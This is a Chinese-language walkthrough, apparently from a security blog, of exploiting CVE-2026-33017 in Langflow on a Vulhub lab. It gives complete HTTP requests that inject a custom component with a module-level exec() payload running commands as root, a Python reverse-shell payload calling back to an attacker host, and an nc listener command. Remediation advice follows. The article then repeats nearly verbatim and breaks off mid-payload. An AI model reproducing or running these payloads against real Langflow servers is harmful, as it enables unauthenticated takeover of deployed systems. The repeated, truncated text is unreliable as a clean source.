漏洞利用演示视频👉分享AI,反被接管 | Langflow 高危RCE | CVE-2026-33017如果喜欢,想系统学习网络安全知识,可以关注我的网站站点地址:详见文章头部官网:【光跃Eason·安研社】先给你看最后一幕:攻击机终端里,nc监听窗口弹进来一行Connection received,紧接着是/bin/sh的提示符,敲下id,回显uid=0(root)。而我做的事情,说出来你可能不信:没有登录、没有账号、没有爆破密码,只是往一个本来用来"公开试玩 AI"的接口,塞了一段我自己写的流程。这个洞编号CVE-2026-33017,出在现在很火的开源 AI 工作流工具Langflow上。最反常识的一点放在最前面:它不是某个认证没配好,而是官方给"公开试玩"开的那扇门,本身就允许路人把厨房里的菜架整个换掉。你以为你只是分享了一个 AI 给朋友玩,实际上你把整个服务器交到了任何路过的人手里。这篇文章我会把环境从零搭起来,先复现命令执行的完整回显,再走到反弹 Shell。中间有个特别经典的"假失败":发包工具报超时,你以为凉了,其实 Shell 已经弹回来了。这个坑我会原样还原。本文仅用于合法的安全研究和教育目的,请确保测试系统拥有合法授权。一、漏洞背景Langflow 是干嘛的Langflow 是一个开源的 AI 智能体构建工具。你可以把它理解成一台"智能炒菜机":正常写一个 AI 应用要颠勺——写代码、调接口、接大模型,而它在浏览器里给你一块大屏,你拖几块积木、连几条线,就能搭出一个会聊天、会查资料、会自动干活的 AI。它是 Python 写的,底层跑的是 FastAPI 加 uvicorn,默认端口 7860。这两年大模型火,Langflow 这种"零代码搭 AI"的工具跟着水涨船高,不少公司内部拿它搭知识库、搭智能客服。炒菜机有两个让用户特别喜欢的功能。这个洞,恰恰是这两个功能撞在一起撞出来的。两个好功能,怎么撞出一个大洞第一个功能,叫自定义组件。机器自带的现成菜谱(官方积木)再多,也总有不够用的时候,于是它留了个口子:你可以亲手写一段 Python 代码,做一个只属于你的专属积木。这个功能对懂行的人特别方便,但你得先记住一个关键常识:写代码这个动作,能力几乎是没有上限的。读文件、装软件、联网、改设置,代码都能让机器干。所以这个口子,在设计上本来只应该交给登录进来的作者,在自家厨房里用。第二个功能,叫公开 Playground。菜做好了想炫耀,点一下"分享",机器就生成一张试吃邀请券——一个链接。朋友拿到券,不用登记、不用进店,在门外的一台自助点餐屏上点一下,就能把这道菜重做一份尝。这台摆在门外的点餐屏,就是公开 Playground。为了让任何人都能方便试吃,它有个特点:不问你是谁,也不需要你登录。两个功能单独看都很美好,问题出在它们被放到了一起。这台不问身份的门外点餐屏,除了能让人点现成的菜,还偷偷支持一个操作:它允许路人现场递一张自己手写的菜谱进来,让厨房别管原来那道菜,改照他递的菜谱做。具体说,公开构建接口(路径形式为POST /api/v1/build_public_tmp/<flow_id>/flow)接受一个可选的data参数,这个参数会完全替换掉数据库里保存的流程定义。而手写菜谱里是可以夹自定义组件的,自定义组件的代码在图编译阶段会被一个不带沙箱的exec()直接执行。把这两句话连起来,结论就出来了:一个没登录、没进门、你完全不认识的路人,能让你的服务器照着他写下的任意指令开火。检查来得太晚了你可能马上会问:机器拿到陌生菜谱,不审核一下吗?这正是这个洞最阴的地方。Langflow 内部的流程是——先把流程拼起来、一拼好就执行,然后才轮到安全检查。而自定义组件里有一种写在模块最外层的语句,是一拼上就自动执行的,它在审核员到场之前就已经跑完了。打个比方:你规定进门要先测体温,但你家的门被设计成"人一踩门口的垫子,屋里的机器就先把他吩咐的事情办完,办完之后才开始测体温"。等体温计凑上去,事情早就结束了。路人还需要一张邀请券要让厨房重做某道菜,路人还得知道这道菜的编号,也就是流程的flow_id。每个流程都有一个一长串随机字符的 UUID,靠猜是绝对猜不出来的。但它难拿吗?它就明明白白印在你发出去的那张试吃邀请券上。你为了请人试吃,必须告诉对方尝的是哪道菜,于是编号必然写在链接里。一旦你把链接发到群里、贴到公告栏、写进公开文档,任何看到的人,就同时拿到了攻击所需的定位符。这次靶场里的流程编号长这样:e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a雪上加霜:默认开着的一键当店长还有更被动的情况。Langflow 出厂时默认开着一个自动登录开关(AUTO_LOGIN)。它开着的时候,路人在门外按一下,就能调用GET /api/v1/auto_login不花任何代价拿到一张超级用户令牌,然后自己配一道菜、自己摆到门外点餐屏上,再用上面那套如法炮制。这意味着:哪怕你从来没分享过任何东西,只要这个默认开关没关,陌生人也可能自己造出试吃的前提,再反过来攻击你。这次的靶场专门把它关掉了,模拟的是"已经登录页可见"的真实部署——但记住,关掉它只是切断了其中一条路,并没有真正修掉这个洞。版本范围与修复方式受影响版本:Langflow 1.8.2 及更早版本修复版本:Langflow 1.9.0 及以上官方的修复方式很值得琢磨。他们没有简单地给点餐屏加个登记处、要求登录,而是直接把"现场递菜谱"这个功能整个删掉了——1.9.0 移除了该接口的data参数,新版本不再接受路人塞进来的自定义流程。这恰好点破了漏洞的真正根源:问题的本质不是门没上锁,而是厨房根本就不应该照着陌生人递进来的手写菜谱开火。只要这个能力还在,今天加一把锁,明天就可能有人找到绕过锁的办法。二、环境搭建这次直接用 Vulhub 一键起靶场,镜像和配置都已经准备好了。进入漏洞目录,一行命令:dockercompose up-d看一下容器状态,端口映射在 7860:dockercomposeps这个靶场的配置特意做了几件事,你要心里有数:镜像锁的是vulhub/langflow:1.8.1,落在受影响范围里;显式设置了LANGFLOW_AUTO_LOGIN=false,模拟真实部署,访问会看到登录页;预置了管理员账号administrator:vulhub,还预载了一个已经公开分享的流程。浏览器访问http://{业务目标ip}:7860,看到 Langflow 的登录页,说明靶场起来了:用administrator:vulhub登录,能看到管理员预先分享过一个名为 My Flow 的流程。这个流程的分享链接里,就带着我们要的那个 UUID。新手复现时常常卡在这一步:浏览器直接访问分享链接,页面一直转圈 Loading,死活不出内容。别管它,也不需要真的把页面加载出来。这个漏洞的关键点根本不在页面上,而在后端那个构建接口——你已经知道流程 UUID 是e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a,这就够了。只要环境在运行,管理员之前面向公众分享出去的那个链接,就会变成反过来攻击他的线路。⚠️注意下面所有操作都在你自己的授权靶场里进行。文中的目标地址统一用{业务目标ip}表示,你自己复现时替换成你的靶机 IP;攻击机地址用{攻击ip}、监听端口用{listen_port}表示。三、漏洞复现这一节走完整两步:第一步提交一个构建任务,拿到job_id;第二步轮询构建结果,让命令的回显吐出来。目标是让服务器执行id,并在响应里看到uid=0(root)。步骤1:提交恶意构建任务,拿 job_id先看完整的请求包,这是整个漏洞的核心:POST /api/v1/build_public_tmp/e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a/flow HTTP/1.1 Host: {业务目标ip}:7860 Content-Type: application/json Cookie: client_id=anything {"data": {"nodes": [{"id": "CustomComponent-pwn", "type": "genericNode", "data": {"id": "CustomComponent-pwn", "type": "CustomComponent", "node": {"template": {"code": {"type": "str", "value": "from lfx.custom import Component\n\n_x = exec(\"raise Exception(__import__('os').popen('id').read())\")\n\nclass Pwn(Component):\n display_name = \"Pwn\"\n def build(self) -> None:\n pass\n"}, "_type": "CustomComponent"}, "base_classes": ["CustomComponent"], "display_name": "Custom Component", "outputs": [{"types": ["CustomComponent"], "name": "Custom Component"}]}}}], "edges": []}}这个包看起来一大坨,其实剥掉外壳,关键的就三处。第一处,路径里的 UUID。它就是公开流程的编号,告诉服务器"我要试玩这道菜"。这个值来自分享链接,不需要任何权限。第二处,Cookie: client_id=anything。这个接口会检查你有没有带一个客户端标识,但它只检查"带没带",不检查"你是谁"。值随便填,anything就行,填个1也可以。它像一张门禁卡,机器只看你手里有没有卡,不核对卡上的名字。🚩踩坑提示这个 Cookie 不带着,接口直接不理你。这不是认证,纯粹是个"有没有卡"的形式检查,但少了它第一步就过不去。第三处,也是灵魂,data里那个自定义组件的code字段。我们没有去改数据库里的原流程,而是用data参数把整个流程定义替换成了自己写的一份,里面夹了一个自定义组件。组件的代码是这样:fromlfx.customimportComponent _x=exec("raise Exception(__import__('os').popen('id').read())")classPwn(Component):display_name="Pwn"defbuild(self)->None:pass逐行拆开:__import__('os').popen('id').read()是动态导入 os 模块,执行id命令,再把输出读出来。id命令会显示当前用户身份;raise Exception(...)把命令输出包进一个异常里抛出去。为什么要这么干?因为构建接口的正常响应里没有"命令输出"这个位置,但构建出错时,报错信息会原样推给前端,我们就搭个顺风车,把输出藏在报错里递出来;exec(...)是 Python 里"照单执行、说什么做什么"的函数。Langflow 在编译自定义组件时,会用它执行这段代码,而且没有任何沙箱;最关键的是这句_x = exec(...)写在模块最外层,而不是写在build()方法里。模块级语句在导入拼合的瞬间就执行,先于一切校验。把包发出去,服务器返回一个构建任务编号:HTTP/1.1 200 OK server: uvicorn content-type: application/json {"job_id":"946b1b2b-501e-4284-aa5f-33957913f704"}右边响应区里那个job_id,就是我们第二步要查的凭证。💡核心原理为什么要分成两步?因为构建是异步的。你提交的是一个"构建任务",服务器收下之后丢到后台去编译,立刻给你一个job_id,不会让你傻等。编译结果(包括报错)通过一条事件流往外推,你得拿着job_id去取。这和你在餐馆下单拿到取餐号、菜做好了再凭号取餐是一个道理。步骤2:轮询构建事件,看命令回显把上一步的job_id填进路径,发 GET 请求:GET /api/v1/build_public_tmp/946b1b2b-501e-4284-aa5f-33957913f704/events?event_delivery=polling HTTP/1.1 Host: {业务目标ip}:7860event_delivery=polling表示用轮询方式取事件,而不是挂长连接等推送。返回的是一串 ndjson 格式的构建事件,在其中一条error事件里,能找到我们的命令输出:{"event":"error","data":{"text":"Error creating class. Exception(uid=0(root) gid=0(root) groups=0(root)\n).\n","category":"error","error":true}}看到这一行了吗:uid=0(root) gid=0(root) groups=0(root)uid=0就是 Linux 的最高权限 root。服务器在容器里执行了我们指定的id,还把结果通过那条"报错顺风车"递了出来。到这一步,未授权远程代码执行已经坐实——我们没有任何账号,只凭一个公开链接里的 UUID,就让服务器替我们跑了命令。有个小细节提醒一下:构建任务是后台异步跑的,如果你第二步发得太快,任务可能还没注册好,会拿到 404 或 409。等一两秒再发,或者多查一次就好,不用慌。四、GetShell:拿下服务器能看到id的回显,证明命令能执行,但这还不是"拿下服务器"。我要的是一条交互式 Shell:我敲什么,服务器就执行什么,身份是 root,而且不用每次都把命令塞进流程、再去轮询报错。网上关于这个洞的教程,绝大多数演示到回显就结束了。真正爽的是反弹 Shell 这一步,而且这个洞走反弹比你想象的顺——因为自定义组件里本来就是 Python,直接让它跑 Python 代码就行,不用绕命令行解析的弯。先说清楚:反弹 Shell 是什么正常思路是你主动去连目标,但真实环境里目标往往躲在防火墙和 NAT 后面,它的服务端口外面根本连不进去。反弹 Shell 反着来:让目标自己主动跑出来,连上攻击机提前开好的监听端口,连上之后,它的输入输出就接到了你这边——你在自己机器上敲命令,命令在目标上跑,结果回传给你。这有点像你给对方发了个视频通话邀请,对方一接,画面和声音的主导权就在你这边了。前提是目标能访问到攻击机的 IP 和端口,所以一台公网可达的攻击机基本是必备的。步骤1:构造反弹 Payload我们在exec里直接写一段 Python:建一个 socket,连回攻击机,再把标准输入、标准输出、错误输出全部重定向到这个连接上,最后起一个交互式/bin/sh。把它放进data的code字段,完整请求包长这样:POST /api/v1/build_public_tmp/e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a/flow HTTP/1.1 Host: {业务目标ip}:7860 Content-Type: application/json Cookie: client_id=anything {"data": {"nodes": [{"id": "CustomComponent-pwn", "type": "genericNode", "data": {"id": "CustomComponent-pwn", "type": "CustomComponent", "node": {"template": {"code": {"type": "str", "value": "from lfx.custom import Component\n\n_x = exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{攻击ip}\",{listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])')\n\nclass Pwn(Component):\n display_name = \"Pwn\"\n def build(self) -> None:\n pass"}, "_type": "CustomComponent"}, "base_classes": ["CustomComponent"], "display_name": "Custom Component", "outputs": [{"types": ["CustomComponent"], "name": "Custom Component"}]}}}], "edges": []}}里面那段 Python 拆开看,一共四步:importsocket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("{攻击ip}",{listen_port}))os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)subprocess.call(["/bin/sh","-i"])前两行建一个 TCP socket;s.connect让目标主动连回攻击机的{攻击ip}:{listen_port};三个os.dup2把 shell 的标准输入、标准输出、报错全部"转接"到这条连接上——这是反弹的关键,不转的话你连上了也看不到输出;最后起一个交互式/bin/sh,-i表示交互模式。为什么这里直接用 Python 而不是常见的bash -i >& /dev/tcp/...?因为这句代码本身就是被exec当 Python 执行的,Python 代码里再塞 bash 语法反而要处理引号转义,直接写 Python 最顺。这是这个洞相比其他 RCE 省事的地方——别人的命令要过 Shell 解析的关,这里它本来就是 Python 解释器主场。步骤2:攻击机开监听在攻击机上,用nc开好监听,等目标连回来:nc-lvvp{listen_port}-l是监听模式,-v显示详细信息,-p指定端口。开着别动,它会安静地等。步骤3:触发漏洞,注意这个"假失败"把反弹请求包发出去。这时候会出现一个特别容易劝退人的画面:发包工具直接报错,“请求失败或服务端异常”,详细原因是read tcp ... i/o timeout——读取超时。我第一次打到这里,心里咯噔一下,以为 payload 写坏了。结果切到监听窗口一看,Shell 早就躺在那了。💡核心原理超时不是失败,恰恰是成功的信号。正常情况下,构建任务编译完、报错推完,HTTP 连接就正常关闭了。但这一次,服务器执行了我们的反弹代码,/bin/sh把这个连接背后的进程"占住"了,一直在和你的攻击机保持会话,HTTP 响应永远发不回来,发包工具等到超时就报了 i/o timeout。换句话说,它是在告诉你:服务器的注意力已经被我的 Shell 牵走了,没空回你这个包了。步骤4:验证权限回到攻击机的监听窗口:连接进来了,提示符就绪。挨个验证:whoamiid回显root和uid=0(root) gid=0(root) groups=0(root)。这台 Langflow 服务器,此刻在你的控制之下。你可以再ls、pwd走两步确认一下,命令随敲随应。而且因为我们走的是反弹、不需要回显,第二步的job_id轮询都可以直接省掉——把反弹 payload 发出去,去监听窗口接人就行。这也是这个洞的利用可以非常短的原因:一个请求,一扇门开。💡降级方案如果目标出网受限、连不回你的攻击机(比如只允许内网访问),退回回显路线:把id换成你想执行的命令,通过raise Exception从报错里一条条取结果,先把敏感信息、环境情况摸清楚,再考虑用其他方式落地。回显方式虽然不能交互,但在目标完全不出网的环境里是唯一的验证手段,别一上来就死磕反弹。五、踩坑与避坑坑1:忘带 Cookie,接口直接装死发包时一切看起来都对,UUID 也没错,结果接口不按预期响应。排查了好一会儿,发现是没带Cookie: client_id=anything。这个接口虽然不验证身份,但会检查客户端标识在不在。解决方案:请求头里固定带上这个 Cookie,值随便填,带上就过。知道了就这么简单,不知道能卡你十几分钟。坑2:代码写进 build() 方法,死活不执行照着官方自定义组件的写法,把执行代码写进了build()方法里,觉得这才是组件"运行时该干的事",结果命令纹丝不动。这是这个洞最核心的认知点。Langflow 在编译阶段会先执行模块级的代码(也就是类定义之外、文件最外层的语句),而build()方法里的代码,要等组件真正被实例化、被调用时才会跑。我们的请求只走到"编译拼合"这一步,根本不会进入build()。解决方案:把执行语句放在模块最外层,写成_x = exec(...)这种赋值形式,让它在拼合的瞬间就被触发。记住那个比喻——安检在进门之后才排队,而模块级代码是人一踩垫子就开火。坑3:发包超时,以为是 payload 坏了就是 GetShell 那一步的画面。Burp 报i/o timeout,本能反应是"没成功,改 payload"。实际上超时是因为反弹 Shell 占住了连接、HTTP 响应回不来。解决方案:判断成败别看发包工具的状态,直接看攻击机的监听窗口。监听口有人连进来,就是成了;没人连,再去查 payload 和网络。坑4:第二步轮询太快,拿到 404提交任务后立刻发 GET,有时返回 404 或 409,以为任务没建成。根因是构建任务在后台异步注册,job_id还没登记完你就去查,自然查不到。解决方案:等一两秒再发,或者轮询重试几次。写自动化探测脚本时,这个 404/409 重试逻辑必须带上,否则脚本会误报"漏洞不存在"。六、修复建议与自查升级 Langflow 到 1.9.0 及以上版本,这是最根本的修复——新版本直接移除了公开构建接口的data参数,路人没法再替换流程。明确关闭自动登录,设置LANGFLOW_AUTO_LOGIN=false,并设置强密码的超级管理员账号,切断"无凭据拿超级令牌"这条旁路。不要把 Langflow 直接暴露在公网。需要对外提供试玩时,放在反向代理后面,加上访问控制或认证,至少限制来源 IP。盘点历史分享出去的 Playground 链接,确认哪些流程是 PUBLIC 状态,不再需要的及时关闭分享。上线前用自查脚本确认自己的资产是否中招。漏洞自查脚本 detect.py我整理了一个无副作用的探测脚本detect.py,专门给运维和防守同学自查用,只做检测、不做任何破坏。它的逻辑和我们手动复现完全一致:向公开构建接口提交一个只执行id的临时构建任务,然后轮询构建事件,如果在报错里看到uid=形式的命令输出,就判定漏洞存在。整个过程不写数据库、不改目标状态、不留后门,攻击机也不用开放任何入站端口。用法:python detect.py-thttp://{业务目标ip}:7860-fe8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a-t指定目标,-f指定公开流程的 UUID;不加-f时用的是靶场默认值。返回值含义:0代表确认存在漏洞,1代表不存在(接口要认证或返回 404),2代表不可达或需要人工确认。加-v可以看每一步的详细输出。七、写在最后这个洞讲到根上就一句话:你以为你只是在门口摆了台请人试吃的点餐屏,结果它连厨房的菜架都能被人换掉。最值得琢磨的是官方的修法——不是加锁,而是把"让路人递菜谱"这个能力直接删掉。很多安全问题根子都在这:只要系统会执行外部传进来的东西,外面再多的认证都只是补丁;让它从一开始就不该执行,才是断根。这个洞还顺带提醒了一个容易被忽略的点:默认配置往往为了好用而偏宽松。AUTO_LOGIN这种开关,在本地试用时是方便,一旦服务要上公网,就得按"能不给的权限就不给"的原则收紧。如果你之前跟过我写的 Langflow 另一个洞——《【GetShell】Langflow API未授权远程代码执行漏洞(CVE-2025-3248)》,建议两篇放一起看。上一个是 API 接口未授权,这一个是公开试玩接口能被替换流程,同一个产品、两种不同的"门没关好",看完你会对这类"免登录 + 可传内容 + 自动执行"的组合特别敏感。第一次复现的话,建议先把第三节的id回显打出来,确认链路通了,再做反弹。每一步都有截图,卡住了对照着查。复现过程中有问题直接评论区留言,我看到了会回。本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。
漏洞利用演示视频👉分享AI,反被接管 | Langflow 高危RCE | CVE-2026-33017如果喜欢,想系统学习网络安全知识,可以关注我的网站站点地址:详见文章头部官网:【光跃Eason·安研社】先给你看最后一幕:攻击机终端里,nc监听窗口弹进来一行Connection received,紧接着是/bin/sh的提示符,敲下id,回显uid=0(root)。而我做的事情,说出来你可能不信:没有登录、没有账号、没有爆破密码,只是往一个本来用来"公开试玩 AI"的接口,塞了一段我自己写的流程。这个洞编号CVE-2026-33017,出在现在很火的开源 AI 工作流工具Langflow上。最反常识的一点放在最前面:它不是某个认证没配好,而是官方给"公开试玩"开的那扇门,本身就允许路人把厨房里的菜架整个换掉。你以为你只是分享了一个 AI 给朋友玩,实际上你把整个服务器交到了任何路过的人手里。这篇文章我会把环境从零搭起来,先复现命令执行的完整回显,再走到反弹 Shell。中间有个特别经典的"假失败":发包工具报超时,你以为凉了,其实 Shell 已经弹回来了。这个坑我会原样还原。本文仅用于合法的安全研究和教育目的,请确保测试系统拥有合法授权。一、漏洞背景Langflow 是干嘛的Langflow 是一个开源的 AI 智能体构建工具。你可以把它理解成一台"智能炒菜机":正常写一个 AI 应用要颠勺——写代码、调接口、接大模型,而它在浏览器里给你一块大屏,你拖几块积木、连几条线,就能搭出一个会聊天、会查资料、会自动干活的 AI。它是 Python 写的,底层跑的是 FastAPI 加 uvicorn,默认端口 7860。这两年大模型火,Langflow 这种"零代码搭 AI"的工具跟着水涨船高,不少公司内部拿它搭知识库、搭智能客服。炒菜机有两个让用户特别喜欢的功能。这个洞,恰恰是这两个功能撞在一起撞出来的。两个好功能,怎么撞出一个大洞第一个功能,叫自定义组件。机器自带的现成菜谱(官方积木)再多,也总有不够用的时候,于是它留了个口子:你可以亲手写一段 Python 代码,做一个只属于你的专属积木。这个功能对懂行的人特别方便,但你得先记住一个关键常识:写代码这个动作,能力几乎是没有上限的。读文件、装软件、联网、改设置,代码都能让机器干。所以这个口子,在设计上本来只应该交给登录进来的作者,在自家厨房里用。第二个功能,叫公开 Playground。菜做好了想炫耀,点一下"分享",机器就生成一张试吃邀请券——一个链接。朋友拿到券,不用登记、不用进店,在门外的一台自助点餐屏上点一下,就能把这道菜重做一份尝。这台摆在门外的点餐屏,就是公开 Playground。为了让任何人都能方便试吃,它有个特点:不问你是谁,也不需要你登录。两个功能单独看都很美好,问题出在它们被放到了一起。这台不问身份的门外点餐屏,除了能让人点现成的菜,还偷偷支持一个操作:它允许路人现场递一张自己手写的菜谱进来,让厨房别管原来那道菜,改照他递的菜谱做。具体说,公开构建接口(路径形式为POST /api/v1/build_public_tmp/<flow_id>/flow)接受一个可选的data参数,这个参数会完全替换掉数据库里保存的流程定义。而手写菜谱里是可以夹自定义组件的,自定义组件的代码在图编译阶段会被一个不带沙箱的exec()直接执行。把这两句话连起来,结论就出来了:一个没登录、没进门、你完全不认识的路人,能让你的服务器照着他写下的任意指令开火。检查来得太晚了你可能马上会问:机器拿到陌生菜谱,不审核一下吗?这正是这个洞最阴的地方。Langflow 内部的流程是——先把流程拼起来、一拼好就执行,然后才轮到安全检查。而自定义组件里有一种写在模块最外层的语句,是一拼上就自动执行的,它在审核员到场之前就已经跑完了。打个比方:你规定进门要先测体温,但你家的门被设计成"人一踩门口的垫子,屋里的机器就先把他吩咐的事情办完,办完之后才开始测体温"。等体温计凑上去,事情早就结束了。路人还需要一张邀请券要让厨房重做某道菜,路人还得知道这道菜的编号,也就是流程的flow_id。每个流程都有一个一长串随机字符的 UUID,靠猜是绝对猜不出来的。但它难拿吗?它就明明白白印在你发出去的那张试吃邀请券上。你为了请人试吃,必须告诉对方尝的是哪道菜,于是编号必然写在链接里。一旦你把链接发到群里、贴到公告栏、写进公开文档,任何看到的人,就同时拿到了攻击所需的定位符。这次靶场里的流程编号长这样:e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a雪上加霜:默认开着的一键当店长还有更被动的情况。Langflow 出厂时默认开着一个自动登录开关(AUTO_LOGIN)。它开着的时候,路人在门外按一下,就能调用GET /api/v1/auto_login不花任何代价拿到一张超级用户令牌,然后自己配一道菜、自己摆到门外点餐屏上,再用上面那套如法炮制。这意味着:哪怕你从来没分享过任何东西,只要这个默认开关没关,陌生人也可能自己造出试吃的前提,再反过来攻击你。这次的靶场专门把它关掉了,模拟的是"已经登录页可见"的真实部署——但记住,关掉它只是切断了其中一条路,并没有真正修掉这个洞。版本范围与修复方式受影响版本:Langflow 1.8.2 及更早版本修复版本:Langflow 1.9.0 及以上官方的修复方式很值得琢磨。他们没有简单地给点餐屏加个登记处、要求登录,而是直接把"现场递菜谱"这个功能整个删掉了——1.9.0 移除了该接口的data参数,新版本不再接受路人塞进来的自定义流程。这恰好点破了漏洞的真正根源:问题的本质不是门没上锁,而是厨房根本就不应该照着陌生人递进来的手写菜谱开火。只要这个能力还在,今天加一把锁,明天就可能有人找到绕过锁的办法。二、环境搭建这次直接用 Vulhub 一键起靶场,镜像和配置都已经准备好了。进入漏洞目录,一行命令:dockercompose up-d看一下容器状态,端口映射在 7860:dockercomposeps这个靶场的配置特意做了几件事,你要心里有数:镜像锁的是vulhub/langflow:1.8.1,落在受影响范围里;显式设置了LANGFLOW_AUTO_LOGIN=false,模拟真实部署,访问会看到登录页;预置了管理员账号administrator:vulhub,还预载了一个已经公开分享的流程。浏览器访问http://{业务目标ip}:7860,看到 Langflow 的登录页,说明靶场起来了:用administrator:vulhub登录,能看到管理员预先分享过一个名为 My Flow 的流程。这个流程的分享链接里,就带着我们要的那个 UUID。新手复现时常常卡在这一步:浏览器直接访问分享链接,页面一直转圈 Loading,死活不出内容。别管它,也不需要真的把页面加载出来。这个漏洞的关键点根本不在页面上,而在后端那个构建接口——你已经知道流程 UUID 是e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a,这就够了。只要环境在运行,管理员之前面向公众分享出去的那个链接,就会变成反过来攻击他的线路。⚠️注意下面所有操作都在你自己的授权靶场里进行。文中的目标地址统一用{业务目标ip}表示,你自己复现时替换成你的靶机 IP;攻击机地址用{攻击ip}、监听端口用{listen_port}表示。三、漏洞复现这一节走完整两步:第一步提交一个构建任务,拿到job_id;第二步轮询构建结果,让命令的回显吐出来。目标是让服务器执行id,并在响应里看到uid=0(root)。步骤1:提交恶意构建任务,拿 job_id先看完整的请求包,这是整个漏洞的核心:POST /api/v1/build_public_tmp/e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a/flow HTTP/1.1 Host: {业务目标ip}:7860 Content-Type: application/json Cookie: client_id=anything {"data": {"nodes": [{"id": "CustomComponent-pwn", "type": "genericNode", "data": {"id": "CustomComponent-pwn", "type": "CustomComponent", "node": {"template": {"code": {"type": "str", "value": "from lfx.custom import Component\n\n_x = exec(\"raise Exception(__import__('os').popen('id').read())\")\n\nclass Pwn(Component):\n display_name = \"Pwn\"\n def build(self) -> None:\n pass\n"}, "_type": "CustomComponent"}, "base_classes": ["CustomComponent"], "display_name": "Custom Component", "outputs": [{"types": ["CustomComponent"], "name": "Custom Component"}]}}}], "edges": []}}这个包看起来一大坨,其实剥掉外壳,关键的就三处。第一处,路径里的 UUID。它就是公开流程的编号,告诉服务器"我要试玩这道菜"。这个值来自分享链接,不需要任何权限。第二处,Cookie: client_id=anything。这个接口会检查你有没有带一个客户端标识,但它只检查"带没带",不检查"你是谁"。值随便填,anything就行,填个1也可以。它像一张门禁卡,机器只看你手里有没有卡,不核对卡上的名字。🚩踩坑提示这个 Cookie 不带着,接口直接不理你。这不是认证,纯粹是个"有没有卡"的形式检查,但少了它第一步就过不去。第三处,也是灵魂,data里那个自定义组件的code字段。我们没有去改数据库里的原流程,而是用data参数把整个流程定义替换成了自己写的一份,里面夹了一个自定义组件。组件的代码是这样:fromlfx.customimportComponent _x=exec("raise Exception(__import__('os').popen('id').read())")classPwn(Component):display_name="Pwn"defbuild(self)->None:pass逐行拆开:__import__('os').popen('id').read()是动态导入 os 模块,执行id命令,再把输出读出来。id命令会显示当前用户身份;raise Exception(...)把命令输出包进一个异常里抛出去。为什么要这么干?因为构建接口的正常响应里没有"命令输出"这个位置,但构建出错时,报错信息会原样推给前端,我们就搭个顺风车,把输出藏在报错里递出来;exec(...)是 Python 里"照单执行、说什么做什么"的函数。Langflow 在编译自定义组件时,会用它执行这段代码,而且没有任何沙箱;最关键的是这句_x = exec(...)写在模块最外层,而不是写在build()方法里。模块级语句在导入拼合的瞬间就执行,先于一切校验。把包发出去,服务器返回一个构建任务编号:HTTP/1.1 200 OK server: uvicorn content-type: application/json {"job_id":"946b1b2b-501e-4284-aa5f-33957913f704"}右边响应区里那个job_id,就是我们第二步要查的凭证。💡核心原理为什么要分成两步?因为构建是异步的。你提交的是一个"构建任务",服务器收下之后丢到后台去编译,立刻给你一个job_id,不会让你傻等。编译结果(包括报错)通过一条事件流往外推,你得拿着job_id去取。这和你在餐馆下单拿到取餐号、菜做好了再凭号取餐是一个道理。步骤2:轮询构建事件,看命令回显把上一步的job_id填进路径,发 GET 请求:GET /api/v1/build_public_tmp/946b1b2b-501e-4284-aa5f-33957913f704/events?event_delivery=polling HTTP/1.1 Host: {业务目标ip}:7860event_delivery=polling表示用轮询方式取事件,而不是挂长连接等推送。返回的是一串 ndjson 格式的构建事件,在其中一条error事件里,能找到我们的命令输出:{"event":"error","data":{"text":"Error creating class. Exception(uid=0(root) gid=0(root) groups=0(root)\n).\n","category":"error","error":true}}看到这一行了吗:uid=0(root) gid=0(root) groups=0(root)uid=0就是 Linux 的最高权限 root。服务器在容器里执行了我们指定的id,还把结果通过那条"报错顺风车"递了出来。到这一步,未授权远程代码执行已经坐实——我们没有任何账号,只凭一个公开链接里的 UUID,就让服务器替我们跑了命令。有个小细节提醒一下:构建任务是后台异步跑的,如果你第二步发得太快,任务可能还没注册好,会拿到 404 或 409。等一两秒再发,或者多查一次就好,不用慌。四、GetShell:拿下服务器能看到id的回显,证明命令能执行,但这还不是"拿下服务器"。我要的是一条交互式 Shell:我敲什么,服务器就执行什么,身份是 root,而且不用每次都把命令塞进流程、再去轮询报错。网上关于这个洞的教程,绝大多数演示到回显就结束了。真正爽的是反弹 Shell 这一步,而且这个洞走反弹比你想象的顺——因为自定义组件里本来就是 Python,直接让它跑 Python 代码就行,不用绕命令行解析的弯。先说清楚:反弹 Shell 是什么正常思路是你主动去连目标,但真实环境里目标往往躲在防火墙和 NAT 后面,它的服务端口外面根本连不进去。反弹 Shell 反着来:让目标自己主动跑出来,连上攻击机提前开好的监听端口,连上之后,它的输入输出就接到了你这边——你在自己机器上敲命令,命令在目标上跑,结果回传给你。这有点像你给对方发了个视频通话邀请,对方一接,画面和声音的主导权就在你这边了。前提是目标能访问到攻击机的 IP 和端口,所以一台公网可达的攻击机基本是必备的。步骤1:构造反弹 Payload我们在exec里直接写一段 Python:建一个 socket,连回攻击机,再把标准输入、标准输出、错误输出全部重定向到这个连接上,最后起一个交互式/bin/sh。把它放进data的code字段,完整请求包长这样:POST /api/v1/build_public_tmp/e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a/flow HTTP/1.1 Host: {业务目标ip}:7860 Content-Type: application/json Cookie: client_id=anything {"data": {"nodes": [{"id": "CustomComponent-pwn", "type": "genericNode", "data": {"id": "CustomComponent-pwn", "type": "CustomComponent", "node": {"template": {"code": {"type": "str", "value": "from lfx.custom import Component\n\n_x = exec('import 